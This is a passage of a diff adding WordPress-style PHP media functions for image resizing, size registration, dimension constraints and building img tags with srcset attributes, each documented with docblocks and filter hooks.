+	} elseif ( ! empty( $_wp_additional_image_sizes ) && in_array( $size, array_keys( $_wp_additional_image_sizes ) ) ) {
+		$max_width = intval( $_wp_additional_image_sizes[$size]['width'] );
+		$max_height = intval( $_wp_additional_image_sizes[$size]['height'] );
+		// Only in admin. Assume that theme authors know what they're doing.
+		if ( intval( $content_width ) > 0 && 'edit' === $context ) {
+			$max_width = min( intval( $content_width ), $max_width );
+		}
+	}
+	// $size == 'full' has no constraint
+	else {
+		$max_width = $width;
+		$max_height = $height;
+	}
+
+	/**
+	 * Filters the maximum image size dimensions for the editor.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array        $max_image_size An array with the width as the first element,
+	 *                                     and the height as the second element.
+	 * @param string|array $size           Size of what the result image should be.
+	 * @param string       $context        The context the image is being resized for.
+	 *                                     Possible values are 'display' (like in a theme)
+	 *                                     or 'edit' (like inserting into an editor).
+	 */
+	list( $max_width, $max_height ) = apply_filters( 'editor_max_image_size', array( $max_width, $max_height ), $size, $context );
+
+	return wp_constrain_dimensions( $width, $height, $max_width, $max_height );
+}
+
+/**
+ * Retrieve width and height attributes using given width and height values.
+ *
+ * Both attributes are required in the sense that both parameters must have a
+ * value, but are optional in that if you set them to false or null, then they
+ * will not be added to the returned string.
+ *
+ * You can set the value using a string, but it will only take numeric values.
+ * If you wish to put 'px' after the numbers, then it will be stripped out of
+ * the return.
+ *
+ * @since 2.5.0
+ *
+ * @param int|string $width  Image width in pixels.
+ * @param int|string $height Image height in pixels.
+ * @return string HTML attributes for width and, or height.
+ */
+function image_hwstring( $width, $height ) {
+	$out = '';
+	if ($width)
+		$out .= 'width="'.intval($width).'" ';
+	if ($height)
+		$out .= 'height="'.intval($height).'" ';
+	return $out;
+}
+
+/**
+ * Scale an image to fit a particular size (such as 'thumb' or 'medium').
+ *
+ * Array with image url, width, height, and whether is intermediate size, in
+ * that order is returned on success is returned. $is_intermediate is true if
+ * $url is a resized image, false if it is the original.
+ *
+ * The URL might be the original image, or it might be a resized version. This
+ * function won't create a new resized copy, it will just return an already
+ * resized one if it exists.
+ *
+ * A plugin may use the {@see 'image_downsize'} filter to hook into and offer image
+ * resizing services for images. The hook must return an array with the same
+ * elements that are returned in the function. The first element being the URL
+ * to the new image that was resized.
+ *
+ * @since 2.5.0
+ *
+ * @param int          $id   Attachment ID for image.
+ * @param array|string $size Optional. Image size to scale to. Accepts any valid image size,
+ *                           or an array of width and height values in pixels (in that order).
+ *                           Default 'medium'.
+ * @return false|array Array containing the image URL, width, height, and boolean for whether
+ *                     the image is an intermediate size. False on failure.
+ */
+function image_downsize( $id, $size = 'medium' ) {
+	$is_image = wp_attachment_is_image( $id );
+
+	/**
+	 * Filters whether to preempt the output of image_downsize().
+	 *
+	 * Passing a truthy value to the filter will effectively short-circuit
+	 * down-sizing the image, returning that value as output instead.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param bool         $downsize Whether to short-circuit the image downsize. Default false.
+	 * @param int          $id       Attachment ID for image.
+	 * @param array|string $size     Size of image. Image size or array of width and height values (in that order).
+	 *                               Default 'medium'.
+	 */
+	if ( $out = apply_filters( 'image_downsize', false, $id, $size ) ) {
+		return $out;
+	}
+
+	$img_url = wp_get_attachment_url($id);
+	$meta = wp_get_attachment_metadata($id);
+	$width = $height = 0;
+	$is_intermediate = false;
+	$img_url_basename = wp_basename($img_url);
+
+	// If the file isn't an image, attempt to replace its URL with a rendered image from its meta.
+	// Otherwise, a non-image type could be returned.
+	if ( ! $is_image ) {
+		if ( ! empty( $meta['sizes'] ) ) {
+			$img_url = str_replace( $img_url_basename, $meta['sizes']['full']['file'], $img_url );
+			$img_url_basename = $meta['sizes']['full']['file'];
+			$width = $meta['sizes']['full']['width'];
+			$height = $meta['sizes']['full']['height'];
+		} else {
+			return false;
+		}
+	}
+
+	// try for a new style intermediate size
+	if ( $intermediate = image_get_intermediate_size($id, $size) ) {
+		$img_url = str_replace($img_url_basename, $intermediate['file'], $img_url);
+		$width = $intermediate['width'];
+		$height = $intermediate['height'];
+		$is_intermediate = true;
+	}
+	elseif ( $size == 'thumbnail' ) {
+		// fall back to the old thumbnail
+		if ( ($thumb_file = wp_get_attachment_thumb_file($id)) && $info = getimagesize($thumb_file) ) {
+			$img_url = str_replace($img_url_basename, wp_basename($thumb_file), $img_url);
+			$width = $info[0];
+			$height = $info[1];
+			$is_intermediate = true;
+		}
+	}
+	if ( !$width && !$height && isset( $meta['width'], $meta['height'] ) ) {
+		// any other type: use the real image
+		$width = $meta['width'];
+		$height = $meta['height'];
+	}
+
+	if ( $img_url) {
+		// we have the actual image size, but might need to further constrain it if content_width is narrower
+		list( $width, $height ) = image_constrain_size_for_editor( $width, $height, $size );
+
+		return array( $img_url, $width, $height, $is_intermediate );
+	}
+	return false;
+
+}
+
+/**
+ * Register a new image size.
+ *
+ * Cropping behavior for the image size is dependent on the value of $crop:
+ * 1. If false (default), images will be scaled, not cropped.
+ * 2. If an array in the form of array( x_crop_position, y_crop_position ):
+ *    - x_crop_position accepts 'left' 'center', or 'right'.
+ *    - y_crop_position accepts 'top', 'center', or 'bottom'.
+ *    Images will be cropped to the specified dimensions within the defined crop area.
+ * 3. If true, images will be cropped to the specified dimensions using center positions.
+ *
+ * @since 2.9.0
+ *
+ * @global array $_wp_additional_image_sizes Associative array of additional image sizes.
+ *
+ * @param string     $name   Image size identifier.
+ * @param int        $width  Image width in pixels.
+ * @param int        $height Image height in pixels.
+ * @param bool|array $crop   Optional. Whether to crop images to specified width and height or resize.
+ *                           An array can specify positioning of the crop area. Default false.
+ */
+function add_image_size( $name, $width = 0, $height = 0, $crop = false ) {
+	global $_wp_additional_image_sizes;
+
+	$_wp_additional_image_sizes[ $name ] = array(
+		'width'  => absint( $width ),
+		'height' => absint( $height ),
+		'crop'   => $crop,
+	);
+}
+
+/**
+ * Check if an image size exists.
+ *
+ * @since 3.9.0
+ *
+ * @param string $name The image size to check.
+ * @return bool True if the image size exists, false if not.
+ */
+function has_image_size( $name ) {
+	$sizes = wp_get_additional_image_sizes();
+	return isset( $sizes[ $name ] );
+}
+
+/**
+ * Remove a new image size.
+ *
+ * @since 3.9.0
+ *
+ * @global array $_wp_additional_image_sizes
+ *
+ * @param string $name The image size to remove.
+ * @return bool True if the image size was successfully removed, false on failure.
+ */
+function remove_image_size( $name ) {
+	global $_wp_additional_image_sizes;
+
+	if ( isset( $_wp_additional_image_sizes[ $name ] ) ) {
+		unset( $_wp_additional_image_sizes[ $name ] );
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Registers an image size for the post thumbnail.
+ *
+ * @since 2.9.0
+ *
+ * @see add_image_size() for details on cropping behavior.
+ *
+ * @param int        $width  Image width in pixels.
+ * @param int        $height Image height in pixels.
+ * @param bool|array $crop   Optional. Whether to crop images to specified width and height or resize.
+ *                           An array can specify positioning of the crop area. Default false.
+ */
+function set_post_thumbnail_size( $width = 0, $height = 0, $crop = false ) {
+	add_image_size( 'post-thumbnail', $width, $height, $crop );
+}
+
+/**
+ * Gets an img tag for an image attachment, scaling it down if requested.
+ *
+ * The {@see 'get_image_tag_class'} filter allows for changing the class name for the
+ * image without having to use regular expressions on the HTML content. The
+ * parameters are: what WordPress will use for the class, the Attachment ID,
+ * image align value, and the size the image should be.
+ *
+ * The second filter, {@see 'get_image_tag'}, has the HTML content, which can then be
+ * further manipulated by a plugin to change all attribute values and even HTML
+ * content.
+ *
+ * @since 2.5.0
+ *
+ * @param int          $id    Attachment ID.
+ * @param string       $alt   Image Description for the alt attribute.
+ * @param string       $title Image Description for the title attribute.
+ * @param string       $align Part of the class name for aligning the image.
+ * @param string|array $size  Optional. Registered image size to retrieve a tag for. Accepts any
+ *                            valid image size, or an array of width and height values in pixels
+ *                            (in that order). Default 'medium'.
+ * @return string HTML IMG element for given image attachment
+ */
+function get_image_tag( $id, $alt, $title, $align, $size = 'medium' ) {
+
+	list( $img_src, $width, $height ) = image_downsize($id, $size);
+	$hwstring = image_hwstring($width, $height);
+
+	$title = $title ? 'title="' . esc_attr( $title ) . '" ' : '';
+
+	$class = 'align' . esc_attr($align) .' size-' . esc_attr($size) . ' wp-image-' . $id;
+
+	/**
+	 * Filters the value of the attachment's image tag class attribute.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string       $class CSS class name or space-separated list of classes.
+	 * @param int          $id    Attachment ID.
+	 * @param string       $align Part of the class name for aligning the image.
+	 * @param string|array $size  Size of image. Image size or array of width and height values (in that order).
+	 *                            Default 'medium'.
+	 */
+	$class = apply_filters( 'get_image_tag_class', $class, $id, $align, $size );
+
+	$html = '<img src="' . esc_attr($img_src) . '" alt="' . esc_attr($alt) . '" ' . $title . $hwstring . 'class="' . $class . '" />';
+
+	/**
+	 * Filters the HTML content for the image tag.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string       $html  HTML content for the image.
+	 * @param int          $id    Attachment ID.
+	 * @param string       $alt   Alternate text.
+	 * @param string       $title Attachment title.
+	 * @param string       $align Part of the class name for aligning the image.
+	 * @param string|array $size  Size of image. Image size or array of width and height values (in that order).
+	 *                            Default 'medium'.
+	 */
+	return apply_filters( 'get_image_tag', $html, $id, $alt, $title, $align, $size );
+}
+
+/**
+ * Calculates the new dimensions for a down-sampled image.
+ *
+ * If either width or height are empty, no constraint is applied on
+ * that dimension.
+ *
+ * @since 2.5.0
+ *
+ * @param int $current_width  Current width of the image.
+ * @param int $current_height Current height of the image.
+ * @param int $max_width      Optional. Max width in pixels to constrain to. Default 0.
+ * @param int $max_height     Optional. Max height in pixels to constrain to. Default 0.
+ * @return array First item is the width, the second item is the height.
+ */
+function wp_constrain_dimensions( $current_width, $current_height, $max_width = 0, $max_height = 0 ) {
+	if ( !$max_width && !$max_height )
+		return array( $current_width, $current_height );
+
+	$width_ratio = $height_ratio = 1.0;
+	$did_width = $did_height = false;
+
+	if ( $max_width > 0 && $current_width > 0 && $current_width > $max_width ) {
+		$width_ratio = $max_width / $current_width;
+		$did_width = true;
+	}
+
+	if ( $max_height > 0 && $current_height > 0 && $current_height > $max_height ) {
+		$height_ratio = $max_height / $current_height;
+		$did_height = true;
+	}
+
+	// Calculate the larger/smaller ratios
+	$smaller_ratio = min( $width_ratio, $height_ratio );
+	$larger_ratio  = max( $width_ratio, $height_ratio );
+
+	if ( (int) round( $current_width * $larger_ratio ) > $max_width || (int) round( $current_height * $larger_ratio ) > $max_height ) {
+ 		// The larger ratio is too big. It would result in an overflow.
+		$ratio = $smaller_ratio;
+	} else {
+		// The larger ratio fits, and is likely to be a more "snug" fit.
+		$ratio = $larger_ratio;
+	}
+
+	// Very small dimensions may result in 0, 1 should be the minimum.
+	$w = max ( 1, (int) round( $current_width  * $ratio ) );
+	$h = max ( 1, (int) round( $current_height * $ratio ) );
+
+	// Sometimes, due to rounding, we'll end up with a result like this: 465x700 in a 177x177 box is 117x176... a pixel short
+	// We also have issues with recursive calls resulting in an ever-changing result. Constraining to the result of a constraint should yield the original result.
+	// Thus we look for dimensions that are one pixel shy of the max value and bump them up
+
+	// Note: $did_width means it is possible $smaller_ratio == $width_ratio.
+	if ( $did_width && $w == $max_width - 1 ) {
+		$w = $max_width; // Round it up
+	}
+
+	// Note: $did_height means it is possible $smaller_ratio == $height_ratio.
+	if ( $did_height && $h == $max_height - 1 ) {
+		$h = $max_height; // Round it up
+	}
+
+	/**
+	 * Filters dimensions to constrain down-sampled images to.
+	 *
+	 * @since 4.1.0
+	 *
+	 * @param array $dimensions     The image width and height.
+	 * @param int 	$current_width  The current width of the image.
+	 * @param int 	$current_height The current height of the image.
+	 * @param int 	$max_width      The maximum width permitted.
+	 * @param int 	$max_height     The maximum height permitted.
+	 */
+	return apply_filters( 'wp_constrain_dimensions', array( $w, $h ), $current_width, $current_height, $max_width, $max_height );
+}
+
+/**
+ * Retrieves calculated resize dimensions for use in WP_Image_Editor.
+ *
+ * Calculates dimensions and coordinates for a resized image that fits
+ * within a specified width and height.
+ *
+ * Cropping behavior is dependent on the value of $crop:
+ * 1. If false (default), images will not be cropped.
+ * 2. If an array in the form of array( x_crop_position, y_crop_position ):
+ *    - x_crop_position accepts 'left' 'center', or 'right'.
+ *    - y_crop_position accepts 'top', 'center', or 'bottom'.
+ *    Images will be cropped to the specified dimensions within the defined crop area.
+ * 3. If true, images will be cropped to the specified dimensions using center positions.
+ *
+ * @since 2.5.0
+ *
+ * @param int        $orig_w Original width in pixels.
+ * @param int        $orig_h Original height in pixels.
+ * @param int        $dest_w New width in pixels.
+ * @param int        $dest_h New height in pixels.
+ * @param bool|array $crop   Optional. Whether to crop image to specified width and height or resize.
+ *                           An array can specify positioning of the crop area. Default false.
+ * @return false|array False on failure. Returned array matches parameters for `imagecopyresampled()`.
+ */
+function image_resize_dimensions( $orig_w, $orig_h, $dest_w, $dest_h, $crop = false ) {
+
+	if ($orig_w <= 0 || $orig_h <= 0)
+		return false;
+	// at least one of dest_w or dest_h must be specific
+	if ($dest_w <= 0 && $dest_h <= 0)
+		return false;
+
+	/**
+	 * Filters whether to preempt calculating the image resize dimensions.
+	 *
+	 * Passing a non-null value to the filter will effectively short-circuit
+	 * image_resize_dimensions(), returning that value instead.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param null|mixed $null   Whether to preempt output of the resize dimensions.
+	 * @param int        $orig_w Original width in pixels.
+	 * @param int        $orig_h Original height in pixels.
+	 * @param int        $dest_w New width in pixels.
+	 * @param int        $dest_h New height in pixels.
+	 * @param bool|array $crop   Whether to crop image to specified width and height or resize.
+	 *                           An array can specify positioning of the crop area. Default false.
+	 */
+	$output = apply_filters( 'image_resize_dimensions', null, $orig_w, $orig_h, $dest_w, $dest_h, $crop );
+	if ( null !== $output )
+		return $output;
+
+	if ( $crop ) {
+		// crop the largest possible portion of the original image that we can size to $dest_w x $dest_h
+		$aspect_ratio = $orig_w / $orig_h;
+		$new_w = min($dest_w, $orig_w);
+		$new_h = min($dest_h, $orig_h);
+
+		if ( ! $new_w ) {
+			$new_w = (int) round( $new_h * $aspect_ratio );
+		}
+
+		if ( ! $new_h ) {
+			$new_h = (int) round( $new_w / $aspect_ratio );
+		}
+
+		$size_ratio = max($new_w / $orig_w, $new_h / $orig_h);
+
+		$crop_w = round($new_w / $size_ratio);
+		$crop_h = round($new_h / $size_ratio);
+
+		if ( ! is_array( $crop ) || count( $crop ) !== 2 ) {
+			$crop = array( 'center', 'center' );
+		}
+
+		list( $x, $y ) = $crop;
+
+		if ( 'left' === $x ) {
+			$s_x = 0;
+		} elseif ( 'right' === $x ) {
+			$s_x = $orig_w - $crop_w;
+		} else {
+			$s_x = floor( ( $orig_w - $crop_w ) / 2 );
+		}
+
+		if ( 'top' === $y ) {
+			$s_y = 0;
+		} elseif ( 'bottom' === $y ) {
+			$s_y = $orig_h - $crop_h;
+		} else {
+			$s_y = floor( ( $orig_h - $crop_h ) / 2 );
+		}
+	} else {
+		// don't crop, just resize using $dest_w x $dest_h as a maximum bounding box
+		$crop_w = $orig_w;
+		$crop_h = $orig_h;
+
+		$s_x = 0;
+		$s_y = 0;
+
+		list( $new_w, $new_h ) = wp_constrain_dimensions( $orig_w, $orig_h, $dest_w, $dest_h );
+	}
+
+	// if the resulting image would be the same size or larger we don't want to resize it
+	if ( $new_w >= $orig_w && $new_h >= $orig_h && $dest_w != $orig_w && $dest_h != $orig_h ) {
+		return false;
+	}
+
+	// the return array matches the parameters to imagecopyresampled()
+	// int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h
+	return array( 0, 0, (int) $s_x, (int) $s_y, (int) $new_w, (int) $new_h, (int) $crop_w, (int) $crop_h );
+
+}
+
+/**
+ * Resizes an image to make a thumbnail or intermediate size.
+ *
+ * The returned array has the file size, the image width, and image height. The
+ * {@see 'image_make_intermediate_size'} filter can be used to hook in and change the
+ * values of the returned array. The only parameter is the resized file path.
+ *
+ * @since 2.5.0
+ *
+ * @param string $file   File path.
+ * @param int    $width  Image width.
+ * @param int    $height Image height.
+ * @param bool   $crop   Optional. Whether to crop image to specified width and height or resize.
+ *                       Default false.
+ * @return false|array False, if no image was created. Metadata array on success.
+ */
+function image_make_intermediate_size( $file, $width, $height, $crop = false ) {
+	if ( $width || $height ) {
+		$editor = wp_get_image_editor( $file );
+
+		if ( is_wp_error( $editor ) || is_wp_error( $editor->resize( $width, $height, $crop ) ) )
+			return false;
+
+		$resized_file = $editor->save();
+
+		if ( ! is_wp_error( $resized_file ) && $resized_file ) {
+			unset( $resized_file['path'] );
+			return $resized_file;
+		}
+	}
+	return false;
+}
+
+/**
+ * Helper function to test if aspect ratios for two images match.
+ *
+ * @since 4.6.0
+ *
+ * @param int $source_width  Width of the first image in pixels.
+ * @param int $source_height Height of the first image in pixels.
+ * @param int $target_width  Width of the second image in pixels.
+ * @param int $target_height Height of the second image in pixels.
+ * @return bool True if aspect ratios match within 1px. False if not.
+ */
+function wp_image_matches_ratio( $source_width, $source_height, $target_width, $target_height ) {
+	/*
+	 * To test for varying crops, we constrain the dimensions of the larger image
+	 * to the dimensions of the smaller image and see if they match.
+	 */
+	if ( $source_width > $target_width ) {
+		$constrained_size = wp_constrain_dimensions( $source_width, $source_height, $target_width );
+		$expected_size = array( $target_width, $target_height );
+	} else {
+		$constrained_size = wp_constrain_dimensions( $target_width, $target_height, $source_width );
+		$expected_size = array( $source_width, $source_height );
+	}
+
+	// If the image dimensions are within 1px of the expected size, we consider it a match.
+	$matched = ( abs( $constrained_size[0] - $expected_size[0] ) <= 1 && abs( $constrained_size[1] - $expected_size[1] ) <= 1 );
+
+	return $matched;
+}
+
+/**
+ * Retrieves the image's intermediate size (resized) path, width, and height.
+ *
+ * The $size parameter can be an array with the width and height respectively.
+ * If the size matches the 'sizes' metadata array for width and height, then it
+ * will be used. If there is no direct match, then the nearest image size larger
+ * than the specified size will be used. If nothing is found, then the function
+ * will break out and return false.
+ *
+ * The metadata 'sizes' is used for compatible sizes that can be used for the
+ * parameter $size value.
+ *
+ * The url path will be given, when the $size parameter is a string.
+ *
+ * If you are passing an array for the $size, you should consider using
+ * add_image_size() so that a cropped version is generated. It's much more
+ * efficient than having to find the closest-sized image and then having the
+ * browser scale down the image.
+ *
+ * @since 2.5.0
+ *
+ * @param int          $post_id Attachment ID.
+ * @param array|string $size    Optional. Image size. Accepts any valid image size, or an array
+ *                              of width and height values in pixels (in that order).
+ *                              Default 'thumbnail'.
+ * @return false|array $data {
+ *     Array of file relative path, width, and height on success. Additionally includes absolute
+ *     path and URL if registered size is passed to $size parameter. False on failure.
+ *
+ *     @type string $file   Image's path relative to uploads directory
+ *     @type int    $width  Width of image
+ *     @type int    $height Height of image
+ *     @type string $path   Image's absolute filesystem path.
+ *     @type string $url    Image's URL.
+ * }
+ */
+function image_get_intermediate_size( $post_id, $size = 'thumbnail' ) {
+	if ( ! $size || ! is_array( $imagedata = wp_get_attachment_metadata( $post_id ) ) || empty( $imagedata['sizes'] )  ) {
+		return false;
+	}
+
+	$data = array();
+
+	// Find the best match when '$size' is an array.
+	if ( is_array( $size ) ) {
+		$candidates = array();
+
+		if ( ! isset( $imagedata['file'] ) && isset( $imagedata['sizes']['full'] ) ) {
+			$imagedata['height'] = $imagedata['sizes']['full']['height'];
+			$imagedata['width']  = $imagedata['sizes']['full']['width'];
+		}
+
+		foreach ( $imagedata['sizes'] as $_size => $data ) {
+			// If there's an exact match to an existing image size, short circuit.
+			if ( $data['width'] == $size[0] && $data['height'] == $size[1] ) {
+				$candidates[ $data['width'] * $data['height'] ] = $data;
+				break;
+			}
+
+			// If it's not an exact match, consider larger sizes with the same aspect ratio.
+			if ( $data['width'] >= $size[0] && $data['height'] >= $size[1] ) {
+				// If '0' is passed to either size, we test ratios against the original file.
+				if ( 0 === $size[0] || 0 === $size[1] ) {
+					$same_ratio = wp_image_matches_ratio( $data['width'], $data['height'], $imagedata['width'], $imagedata['height'] );
+				} else {
+					$same_ratio = wp_image_matches_ratio( $data['width'], $data['height'], $size[0], $size[1] );
+				}
+
+				if ( $same_ratio ) {
+					$candidates[ $data['width'] * $data['height'] ] = $data;
+				}
+			}
+		}
+
+		if ( ! empty( $candidates ) ) {
+			// Sort the array by size if we have more than one candidate.
+			if ( 1 < count( $candidates ) ) {
+				ksort( $candidates );
+			}
+
+			$data = array_shift( $candidates );
+		/*
+		 * When the size requested is smaller than the thumbnail dimensions, we
+		 * fall back to the thumbnail size to maintain backwards compatibility with
+		 * pre 4.6 versions of WordPress.
+		 */
+		} elseif ( ! empty( $imagedata['sizes']['thumbnail'] ) && $imagedata['sizes']['thumbnail']['width'] >= $size[0] && $imagedata['sizes']['thumbnail']['width'] >= $size[1] ) {
+			$data = $imagedata['sizes']['thumbnail'];
+		} else {
+			return false;
+		}
+
+		// Constrain the width and height attributes to the requested values.
+		list( $data['width'], $data['height'] ) = image_constrain_size_for_editor( $data['width'], $data['height'], $size );
+
+	} elseif ( ! empty( $imagedata['sizes'][ $size ] ) ) {
+		$data = $imagedata['sizes'][ $size ];
+	}
+
+	// If we still don't have a match at this point, return false.
+	if ( empty( $data ) ) {
+		return false;
+	}
+
+	// include the full filesystem path of the intermediate file
+	if ( empty( $data['path'] ) && ! empty( $data['file'] ) && ! empty( $imagedata['file'] ) ) {
+		$file_url = wp_get_attachment_url($post_id);
+		$data['path'] = path_join( dirname($imagedata['file']), $data['file'] );
+		$data['url'] = path_join( dirname($file_url), $data['file'] );
+	}
+
+	/**
+	 * Filters the output of image_get_intermediate_size()
+	 *
+	 * @since 4.4.0
+	 *
+	 * @see image_get_intermediate_size()
+	 *
+	 * @param array        $data    Array of file relative path, width, and height on success. May also include
+	 *                              file absolute path and URL.
+	 * @param int          $post_id The post_id of the image attachment
+	 * @param string|array $size    Registered image size or flat array of initially-requested height and width
+	 *                              dimensions (in that order).
+	 */
+	return apply_filters( 'image_get_intermediate_size', $data, $post_id, $size );
+}
+
+/**
+ * Gets the available intermediate image sizes.
+ *
+ * @since 3.0.0
+ *
+ * @return array Returns a filtered array of image size strings.
+ */
+function get_intermediate_image_sizes() {
+	$_wp_additional_image_sizes = wp_get_additional_image_sizes();
+	$image_sizes = array('thumbnail', 'medium', 'medium_large', 'large'); // Standard sizes
+	if ( ! empty( $_wp_additional_image_sizes ) ) {
+		$image_sizes = array_merge( $image_sizes, array_keys( $_wp_additional_image_sizes ) );
+	}
+
+	/**
+	 * Filters the list of intermediate image sizes.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $image_sizes An array of intermediate image sizes. Defaults
+	 *                           are 'thumbnail', 'medium', 'medium_large', 'large'.
+	 */
+	return apply_filters( 'intermediate_image_sizes', $image_sizes );
+}
+
+/**
+ * Retrieve an image to represent an attachment.
+ *
+ * A mime icon for files, thumbnail or intermediate size for images.
+ *
+ * The returned array contains four values: the URL of the attachment image src,
+ * the width of the image file, the height of the image file, and a boolean
+ * representing whether the returned array describes an intermediate (generated)
+ * image size or the original, full-sized upload.
+ *
+ * @since 2.5.0
+ *
+ * @param int          $attachment_id Image attachment ID.
+ * @param string|array $size          Optional. Image size. Accepts any valid image size, or an array of width
+ *                                    and height values in pixels (in that order). Default 'thumbnail'.
+ * @param bool         $icon          Optional. Whether the image should be treated as an icon. Default false.
+ * @return false|array Returns an array (url, width, height, is_intermediate), or false, if no image is available.
+ */
+function wp_get_attachment_image_src( $attachment_id, $size = 'thumbnail', $icon = false ) {
+	// get a thumbnail or intermediate image if there is one
+	$image = image_downsize( $attachment_id, $size );
+	if ( ! $image ) {
+		$src = false;
+
+		if ( $icon && $src = wp_mime_type_icon( $attachment_id ) ) {
+			/** This filter is documented in wp-includes/post.php */
+			$icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/media' );
+
+			$src_file = $icon_dir . '/' . wp_basename( $src );
+			@list( $width, $height ) = getimagesize( $src_file );
+		}
+
+		if ( $src && $width && $height ) {
+			$image = array( $src, $width, $height );
+		}
+	}
+	/**
+	 * Filters the image src result.
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param array|false  $image         Either array with src, width & height, icon src, or false.
+	 * @param int          $attachment_id Image attachment ID.
+	 * @param string|array $size          Size of image. Image size or array of width and height values
+	 *                                    (in that order). Default 'thumbnail'.
+	 * @param bool         $icon          Whether the image should be treated as an icon. Default false.
+	 */
+	return apply_filters( 'wp_get_attachment_image_src', $image, $attachment_id, $size, $icon );
+}
+
+/**
+ * Get an HTML img element representing an image attachment
+ *
+ * While `$size` will accept an array, it is better to register a size with
+ * add_image_size() so that a cropped version is generated. It's much more
+ * efficient than having to find the closest-sized image and then having the
+ * browser scale down the image.
+ *
+ * @since 2.5.0
+ *
+ * @param int          $attachment_id Image attachment ID.
+ * @param string|array $size          Optional. Image size. Accepts any valid image size, or an array of width
+ *                                    and height values in pixels (in that order). Default 'thumbnail'.
+ * @param bool         $icon          Optional. Whether the image should be treated as an icon. Default false.
+ * @param string|array $attr          Optional. Attributes for the image markup. Default empty.
+ * @return string HTML img element or empty string on failure.
+ */
+function wp_get_attachment_image($attachment_id, $size = 'thumbnail', $icon = false, $attr = '') {
+	$html = '';
+	$image = wp_get_attachment_image_src($attachment_id, $size, $icon);
+	if ( $image ) {
+		list($src, $width, $height) = $image;
+		$hwstring = image_hwstring($width, $height);
+		$size_class = $size;
+		if ( is_array( $size_class ) ) {
+			$size_class = join( 'x', $size_class );
+		}
+		$attachment = get_post($attachment_id);
+		$default_attr = array(
+			'src'	=> $src,
+			'class'	=> "attachment-$size_class size-$size_class",
+			'alt'	=> trim( strip_tags( get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ) ) ),
+		);
+
+		$attr = wp_parse_args( $attr, $default_attr );
+
+		// Generate 'srcset' and 'sizes' if not already present.
+		if ( empty( $attr['srcset'] ) ) {
+			$image_meta = wp_get_attachment_metadata( $attachment_id );
+
+			if ( is_array( $image_meta ) ) {
+				$size_array = array( absint( $width ), absint( $height ) );
+				$srcset = wp_calculate_image_srcset( $size_array, $src, $image_meta, $attachment_id );
+				$sizes = wp_calculate_image_sizes( $size_array, $src, $image_meta, $attachment_id );
+
+				if ( $srcset && ( $sizes || ! empty( $attr['sizes'] ) ) ) {
+					$attr['srcset'] = $srcset;
+
+					if ( empty( $attr['sizes'] ) ) {
+						$attr['sizes'] = $sizes;
+					}
+				}
+			}
+		}
+
+		/**
+		 * Filters the list of attachment image attributes.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param array        $attr       Attributes for the image markup.
+		 * @param WP_Post      $attachment Image attachment post.
+		 * @param string|array $size       Requested size. Image size or array of width and height values
+		 *                                 (in that order). Default 'thumbnail'.
+		 */
+		$attr = apply_filters( 'wp_get_attachment_image_attributes', $attr, $attachment, $size );
+		$attr = array_map( 'esc_attr', $attr );
+		$html = rtrim("<img $hwstring");
+		foreach ( $attr as $name => $value ) {
+			$html .= " $name=" . '"' . $value . '"';
+		}
+		$html .= ' />';
+	}
+
+	return $html;
+}
+
+/**
+ * Get the URL of an image attachment.
+ *
+ * @since 4.4.0
+ *
+ * @param int          $attachment_id Image attachment ID.
+ * @param string|array $size          Optional. Image size to retrieve. Accepts any valid image size, or an array
+ *                                    of width and height values in pixels (in that order). Default 'thumbnail'.
+ * @param bool         $icon          Optional. Whether the image should be treated as an icon. Default false.
+ * @return string|false Attachment URL or false if no image is available.
+ */
+function wp_get_attachment_image_url( $attachment_id, $size = 'thumbnail', $icon = false ) {
+	$image = wp_get_attachment_image_src( $attachment_id, $size, $icon );
+	return isset( $image['0'] ) ? $image['0'] : false;
+}
+
+/**
+ * Get the attachment path relative to the upload directory.
+ *
+ * @since 4.4.1
+ * @access private
+ *
+ * @param string $file Attachment file name.
+ * @return string Attachment path relative to the upload directory.
+ */
+function _wp_get_attachment_relative_path( $file ) {
+	$dirname = dirname( $file );
+
+	if ( '.' === $dirname ) {
+		return '';
+	}
+
+	if ( false !== strpos( $dirname, 'wp-content/uploads' ) ) {
+		// Get the directory name relative to the upload directory (back compat for pre-2.7 uploads)
+		$dirname = substr( $dirname, strpos( $dirname, 'wp-content/uploads' ) + 18 );
+		$dirname = ltrim( $dirname, '/' );
+	}
+
+	return $dirname;
+}
+
+/**
+ * Get the image size as array from its meta data.
+ *
+ * Used for responsive images.
+ *
+ * @since 4.4.0
+ * @access private
+ *
+ * @param string $size_name  Image size. Accepts any valid image size name ('thumbnail', 'medium', etc.).
+ * @param array  $image_meta The image meta data.
+ * @return array|bool Array of width and height values in pixels (in that order)
+ *                    or false if the size doesn't exist.
+ */
+function _wp_get_image_size_from_meta( $size_name, $image_meta ) {
+	if ( $size_name === 'full' ) {
+		return array(
+			absint( $image_meta['width'] ),
+			absint( $image_meta['height'] ),
+		);
+	} elseif ( ! empty( $image_meta['sizes'][$size_name] ) ) {
+		return array(
+			absint( $image_meta['sizes'][$size_name]['width'] ),
+			absint( $image_meta['sizes'][$size_name]['height'] ),
+		);
+	}
+
+	return false;
+}
+
+/**
+ * Retrieves the value for an image attachment's 'srcset' attribute.
+ *
+ * @since 4.4.0
+ *
+ * @see wp_calculate_image_srcset()
+ *
+ * @param int          $attachment_id Image attachment ID.
+ * @param array|string $size          Optional. Image size. Accepts any valid image size, or an array of
+ *                                    width and height values in pixels (in that order). Default 'medium'.
+ * @param array        $image_meta    Optional. The image meta data as returned by 'wp_get_attachment_metadata()'.
+ *                                    Default null.
+ * @return string|bool A 'srcset' value string or false.
+ */
+function wp_get_attachment_image_srcset( $attachment_id, $size = 'medium', $image_meta = null ) {
+	if ( ! $image = wp_get_attachment_image_src( $attachment_id, $size ) ) {
+		return false;
+	}
+
+	if ( ! is_array( $image_meta ) ) {
+		$image_meta = wp_get_attachment_metadata( $attachment_id );
+	}
+
+	$image_src = $image[0];
+	$size_array = array(
+		absint( $image[1] ),
